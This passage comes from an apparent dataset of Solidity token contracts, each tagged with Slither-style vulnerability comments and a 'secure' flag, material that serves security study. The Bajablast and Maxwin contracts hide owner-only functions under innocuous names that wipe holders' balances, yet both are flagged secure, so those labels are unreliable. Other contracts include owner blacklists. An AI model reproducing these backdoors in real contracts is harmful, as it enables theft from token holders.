(tAmount * chargeRate) / _GRANULARITY;\n\n uint256 tReward = (tAmount * rewardRate) / _GRANULARITY;\n\n uint256 income = tCharge - tReward;\n\n uint256 tRflx = (income * RFLX_RATE) / _GRANULARITY;\n\n uint256 tBurn = (income * BURN_RATE) / _GRANULARITY;\n\n uint256 tCmty = (income * CMTY_RATE) / _GRANULARITY;\n\n return (tCharge, tReward, tRflx, tBurn, tCmty);\n }\n\n function _getRBasics(\n uint256 tSendAmount,\n uint256 tRflx\n ) private view returns (uint256, uint256) {\n return (tSendAmount * _rtRate, tRflx * _rtRate);\n }\n\n function _getRReceiveAmount(\n uint256 rSendAmount,\n uint256 rRflx,\n uint256 tBurn,\n uint256 tCmty\n ) private view returns (uint256) {\n return rSendAmount - rRflx - tBurn * _rtRate - tCmty * _rtRate;\n }\n\n function _updateRTRate() private {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n\t\t// cache-array-length | ID: 775dae3\n for (uint256 i = 0; i < _pairList.length; i++) {\n if (\n _rOwned[_pairList[i]] > rSupply ||\n _tOwned[_pairList[i]] > tSupply\n ) {\n _rtRate = _rTotal / _tTotal;\n\n return;\n }\n\n rSupply -= _rOwned[_pairList[i]];\n\n tSupply -= _tOwned[_pairList[i]];\n }\n\n _rtRate = (rSupply < _rTotal / _tTotal)\n ? _rTotal / _tTotal\n : rSupply / tSupply;\n }\n\n function _sendToBank(uint256 tCmty, address sender) private {\n _rOwned[BANK_ADDR] += tCmty * _rtRate;\n\n if (_pairs[BANK_ADDR]) _tOwned[BANK_ADDR] += tCmty;\n\n emit Transfer(sender, BANK_ADDR, tCmty);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != ZERO_ADDR, \"Burn from the zero address\");\n\n require(balanceOf(account) >= amount, \"Burn amount exceeds balance\");\n\n _rOwned[account] -= amount * _rtRate;\n\n if (_pairs[account]) _tOwned[account] -= amount;\n\n uint256 rBurn = amount * _rtRate;\n\n _rTotal -= rBurn;\n\n _tBurnTotal += amount;\n\n _tTotal -= amount;\n\n _updateRTRate();\n\n emit Transfer(account, ZERO_ADDR, amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n}",
"file_name": "solidity_code_3946.sol",
"secure": 1,
"size_bytes": 15426
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PepeWINNER is ERC20 {\n constructor() ERC20(\"PepeWINNER.io\", \"PEPEWINNER\") {\n _mint(msg.sender, 21000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3947.sol",
"secure": 1,
"size_bytes": 285
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8fc0ae0): Contract locking ether found Contract GwandThweftAuto has payable functions GwandThweftAuto.receive() But does not have a function to withdraw the ether\n// Recommendation for 8fc0ae0: Remove the 'payable' attribute or add a withdraw function.\ncontract GwandThweftAuto is ERC20, Ownable {\n constructor() ERC20(unicode\"GwandThweftAuto\", unicode\"GTA\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8fc0ae0): Contract locking ether found Contract GwandThweftAuto has payable functions GwandThweftAuto.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 8fc0ae0: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3948.sol",
"secure": 0,
"size_bytes": 1047
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Bajablast is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable artificial;\n\n constructor() {\n _name = \"Baja Blast\";\n\n _symbol = \"BB\";\n\n _decimals = 18;\n\n uint256 initialSupply = 547000000;\n\n artificial = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == artificial, \"Not allowed\");\n\n _;\n }\n\n function repetition(address[] memory gift) public onlyOwner {\n for (uint256 i = 0; i < gift.length; i++) {\n address account = gift[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3949.sol",
"secure": 1,
"size_bytes": 4366
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {}\n\n function __Context_init_unchained() internal onlyInitializing {}\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}",
"file_name": "solidity_code_395.sol",
"secure": 1,
"size_bytes": 664
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Token is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c9519dd): Token._taxWallet should be immutable \n\t// Recommendation for c9519dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01a847d): Token._initialBuyTax should be constant \n\t// Recommendation for 01a847d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6243f1b): Token._initialSellTax should be constant \n\t// Recommendation for 6243f1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8023b8f): Token._reduceBuyTaxAt should be constant \n\t// Recommendation for 8023b8f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 29;\n\n\t// WARNING Optimization Issue (constable-states | ID: 86d815b): Token._reduceSellTaxAt should be constant \n\t// Recommendation for 86d815b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 29;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10e4b0b): Token._preventSwapBefore should be constant \n\t// Recommendation for 10e4b0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 29;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4dd4ae): Token._taxSwapThreshold should be constant \n\t// Recommendation for a4dd4ae: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ace5ae): Token._maxTaxSwap should be constant \n\t// Recommendation for 0ace5ae: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b3f8b8c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b3f8b8c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 983d885): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 983d885: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b3f8b8c\n\t\t// reentrancy-benign | ID: 983d885\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b3f8b8c\n\t\t// reentrancy-benign | ID: 983d885\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 983d885\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b3f8b8c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b93ac44): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b93ac44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 402b83c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 402b83c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b93ac44\n\t\t\t\t// reentrancy-eth | ID: 402b83c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b93ac44\n\t\t\t\t\t// reentrancy-eth | ID: 402b83c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 402b83c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 402b83c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 402b83c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b93ac44\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 402b83c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 402b83c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b93ac44\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b93ac44\n\t\t// reentrancy-events | ID: b3f8b8c\n\t\t// reentrancy-benign | ID: 983d885\n\t\t// reentrancy-eth | ID: 402b83c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0254860): Token.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0254860: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b93ac44\n\t\t// reentrancy-events | ID: b3f8b8c\n\t\t// reentrancy-eth | ID: 402b83c\n\t\t// arbitrary-send-eth | ID: 0254860\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6d1c152): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6d1c152: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 23c9ffe): Token.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 23c9ffe: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ac7b653): Token.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ac7b653: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3d7a34c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3d7a34c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n IUniswapV2Factory factory = IUniswapV2Factory(\n uniswapV2Router.factory()\n );\n\n address pairAddress = factory.getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n if (pairAddress == address(0)) {\n\t\t\t// reentrancy-benign | ID: 6d1c152\n\t\t\t// reentrancy-eth | ID: 3d7a34c\n uniswapV2Pair = factory.createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n } else {\n uniswapV2Pair = pairAddress;\n }\n\n\t\t// reentrancy-benign | ID: 6d1c152\n\t\t// unused-return | ID: 23c9ffe\n\t\t// reentrancy-eth | ID: 3d7a34c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6d1c152\n\t\t// unused-return | ID: ac7b653\n\t\t// reentrancy-eth | ID: 3d7a34c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 6d1c152\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3d7a34c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3950.sol",
"secure": 0,
"size_bytes": 17433
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 465a425): Trinityxox.slitherConstructorVariables() performs a multiplication on the result of a division maxWalletLimit = (suppxox / 100) * 1\n// Recommendation for 465a425: Consider ordering multiplication before division.\ncontract Trinityxox is ERC20, Ownable {\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklist;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 07b3718): Trinityxox.suppxox should be immutable \n\t// Recommendation for 07b3718: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private suppxox = 1000 * 10 ** decimals();\n\n\t// divide-before-multiply | ID: 465a425\n uint256 public maxWalletLimit = (suppxox / 100) * 1;\n\n constructor() ERC20(\"Holy Trinity\", \"HOLY\") Ownable(tx.origin) {\n _mint(tx.origin, suppxox / 2);\n\n _mint(address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045), suppxox / 2);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 value\n ) internal override {\n require(blacklist[to] == false, \"blacklist\");\n\n require(blacklist[from] == false, \"blacklist\");\n\n if (\n from != owner() &&\n to != uniswapV2Pair &&\n to != address(uniswapV2Router)\n ) {\n require(\n balanceOf(to) + value <= maxWalletLimit,\n \"Exceeds maximum wallet token amount\"\n );\n }\n\n super._transfer(from, to, value);\n }\n\n function addBlacklist(address val) external onlyOwner {\n blacklist[val] = true;\n }\n\n function delBlackList(address val) external onlyOwner {\n blacklist[val] = false;\n }\n\n function disabledMaxWallet() external onlyOwner {\n maxWalletLimit = suppxox;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 79b5834): Trinityxox.initPairForSwap(address,address)._uniswapV2Factory lacks a zerocheck on \t uniswapV2Pair = IUniswapV2Factory(_uniswapV2Factory).createPair(address(this),uniswapV2Router.WETH())\n\t// Recommendation for 79b5834: Check that the address is not zero.\n function initPairForSwap(\n address _uniswapV2Router,\n address _uniswapV2Factory\n ) external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);\n\n\t\t// missing-zero-check | ID: 79b5834\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Factory).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n}",
"file_name": "solidity_code_3951.sol",
"secure": 0,
"size_bytes": 3092
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Maxwin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable preach;\n\n constructor() {\n _name = \"MAX WIN\";\n\n _symbol = \"MAXWIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 351000000;\n\n preach = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == preach, \"Not allowed\");\n\n _;\n }\n\n function pepper(address[] memory thesis) public onlyOwner {\n for (uint256 i = 0; i < thesis.length; i++) {\n address account = thesis[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3952.sol",
"secure": 1,
"size_bytes": 4354
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: cc40d59): Contract locking ether found Contract QUAKK has payable functions QUAKK.receive() But does not have a function to withdraw the ether\n// Recommendation for cc40d59: Remove the 'payable' attribute or add a withdraw function.\ncontract QUAKK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: daec983): QUAKK._name should be constant \n\t// Recommendation for daec983: Add the 'constant' attribute to state variables that never change.\n string private _name = \"QuackShit BY Matt Furie\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 1433e25): QUAKK._symbol should be constant \n\t// Recommendation for 1433e25: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"QUAKK\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 